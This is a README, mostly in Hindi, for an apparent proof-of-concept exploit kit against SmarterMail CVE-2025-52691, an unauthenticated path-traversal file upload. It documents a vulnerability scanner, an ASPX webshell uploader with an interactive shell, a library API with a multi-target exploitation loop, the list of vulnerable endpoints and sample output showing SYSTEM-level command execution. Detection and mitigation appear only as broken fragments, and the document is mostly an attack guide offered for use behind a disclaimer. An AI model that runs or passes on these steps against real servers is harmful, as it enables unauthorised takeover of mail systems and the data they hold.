
CVE-2025-52691 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट: SmarterMail में अप्रमाणित मनमाना फ़ाइल अपलोड जिससे RCE होता है। इसमें भेद्यता स्कैनर, ASPX वेबशेल अपलोडर, और अधिकृत सुरक्षा परीक्षण के लिए इंटरैक्टिव शेल शामिल है।
प्रूफ़ ऑफ़ कॉन्सेप्ट CVE-2025-52691 के लिए - SmarterMail बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड RCE
केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए। अनधिकृत पहुँच अवैध है।
SmarterMail में एक गंभीर कमजोरी जो पथ ट्रैवर्सल के माध्यम से बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड की अनुमति देती है, जिससे रिमोट कोड निष्पादन (RCE) होता है।
कमजोरी: अपलोड एंडपॉइंट्स में पथ ट्रैवर्सल ASPX वेबशेल को वेब रूट में अपलोड करने की अनुमति देता है
प्रभाव: बिना प्रमाणीकरण के रिमोट कोड निष्पादन
वेक्टर: नेटवर्क / बिना प्रमाणीकरण
git clone https://github.com/yourusername/CVE-2025-52691-POC.git
cd CVE-2025-52691-POC
pip install requests urllib3
लक्ष्यों को CVE-2025-52691 कमजोरी के लिए स्कैन करता है। केवल कमजोर URLs को आउटपुट फ़ाइल में सहेजता है।
# Single target
python check.py https://mail.example.com
# Multiple targets
python check.py -f targets.txt -o results.txt
# Custom timeout
python check.py https://mail.example.com -t 30
आउटपुट: results.txt में प्रति पंक्ति एक कमजोर URL
ASPX वेबशेल अपलोड करता है और कमांड निष्पादन प्रदान करता है।
# Basic exploit
python pwn.py https://mail.example.com
# Execute command
python pwn.py https://mail.example.com -c "whoami"
# Interactive shell
python pwn.py https://mail.example.com -i
कस्टम स्क्रिप्ट में एकीकरण के लिए पुन: प्रयोज्य शोषण मॉड्यूल।
लाइब्रेरी के रूप में:
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
# Basic usage
config = TargetConfig(base_url="https://mail.example.com")
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
# With custom timeout
config = TargetConfig(base_url="https://mail.example.com", timeout=60)
exploit = SmarterMailExploit(config)
result = exploit.exploit()
# Execute multiple commands
if result == ExploitResult.SHELL_UPLOADED:
print(exploit.execute_command("whoami"))
print(exploit.execute_command("hostname"))
print(exploit.execute_command("ipconfig"))
स्टैंडअलोन स्क्रिप्ट के रूप में:
# Import and run in Python
python -c "from exploit import *; e=SmarterMailExploit(TargetConfig('https://mail.example.com')); e.exploit()"
# Create custom script
cat << 'EOF' > my_exploit.py
from exploit import SmarterMailExploit, TargetConfig, ExploitResult
targets = ['https://mail1.example.com', 'https://mail2.example.com']
for target in targets:
config = TargetConfig(base_url=target)
exploit = SmarterMailExploit(config)
if exploit.exploit() == ExploitResult.SHELL_UPLOADED:
print(f"[+] Exploited: {target}")
print(exploit.execute_command("whoami"))
EOF
python my_exploit.py
कमजोर एंडपॉइंट्स:
/api/upload
/api/v1/upload
/Interface/Frmx/UploadFile.aspx
/MRS/Upload.ashx
/Services/Upload.ashx
शोषण विधियाँ:
../wwwroot/)वेबशेल: न्यूनतम ASPX शेल जो ?cmd= पैरामीटर के माध्यम से कमांड स्वीकार करता है
python check.py <target>python pwn.py <target> -iपहचान:
../) के लिए लॉग जांचें/api/upload अनुरोधों पर अलर्ट करेंशमन:
$ python pwn.py https://mail.example.com -c "whoami"
[*] Target: https://mail.example.com
[+] Target is alive
[*] Shell filename: s4a7b3c2.aspx
[*] Attempting to upload webshell...
[+] SUCCESS! Webshell uploaded
[+] Shell URL: https://mail.example.com/s4a7b3c2.aspx
[*] Executing: whoami
[+] Output:
nt authority\system
परीक्षण से पहले हमेशा उचित अधिकार प्राप्त करें।